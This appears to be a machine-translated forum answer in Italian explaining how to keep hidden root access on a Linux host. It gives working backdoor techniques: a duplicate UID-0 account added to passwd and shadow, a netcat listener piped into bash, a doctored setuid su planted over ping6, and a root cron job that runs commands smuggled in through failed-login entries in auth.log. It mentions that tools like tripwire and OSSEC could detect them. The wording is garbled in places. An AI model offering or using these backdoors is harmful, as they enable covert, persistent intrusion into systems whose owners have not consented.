Dipende piuttosto da cosa intendi per "invisibile".
Non è davvero possibile modificare il comportamento del sistema e non lasciare tracce rilevabili. Tutto quello che puoi fare è rendere più difficile trovare quelle tracce. All'estremo opposto della scala è possibile compilare un modulo del kernel in grado di nascondersi che ha un'interfaccia di nuovo nello userspace, anche se questo è tutt'altro che banale. All'altra estremità della scala è possibile aggiungere un alias per un utente esistente a / etc / passwd e / etc / shadow, ad es.
root:x:0:0:root:/root:/bin/bash
toor:x:0:0:root:/root:/bin/bash
root:$1$WXYZabc4:17158:0:99999:7:::
toor:$1$ABCxyz12:17158:0:99999:7:::
(il tuo obiettivo userà un'implementazione di crypt più recente e prolissa). Questo è visibile nei file interessati.
Potresti scandagliare una shell direttamente nella rete con netcat o [x] inetd
nc -l -p 8282 | bash
... anche se questo è piuttosto ovvio e apparirà in netstat e ps.
Potresti aggiungere una shell a un utente di sistema esistente e impostare una password, quindi per sfruttare l'accesso privilegiato avresti bisogno di un programma setuid. Sicuramente sai già che l'impostazione del bit setuid su uno script non funzionerà, quindi forse una versione modificata di su che salta pam per il tuo nome utente magico. Non lasciarlo cadere in / bin - sovrascrivere un programma setuid esistente che si ritiene sia improbabile da utilizzare (ad esempio ping6). Verrà comunque visualizzato in tripwire o ossec.
Un modo divertente sarebbe identificare da qualche parte dove è possibile scrivere i dati senza autenticare e impostare un processo cron come root per estrarre stringhe ed eseguirle come root (il seguente è volutamente semplificato):
#!/bin/bash
tail -100 /var/log/auth.log | \
awk '/Failed password for gangsta/ {
split($0, out, "gangsta|from");
print out[1] "\n";
}' >/tmp/myscript
. /tmp/myscript
rm -f /tmp/myscript
... di nuovo questo potrebbe essere rilevato da un ID host e fare attenzione a che cron invia agli utenti l'output dei loro lavori, a meno che non lo sovrascrivi nel file cron.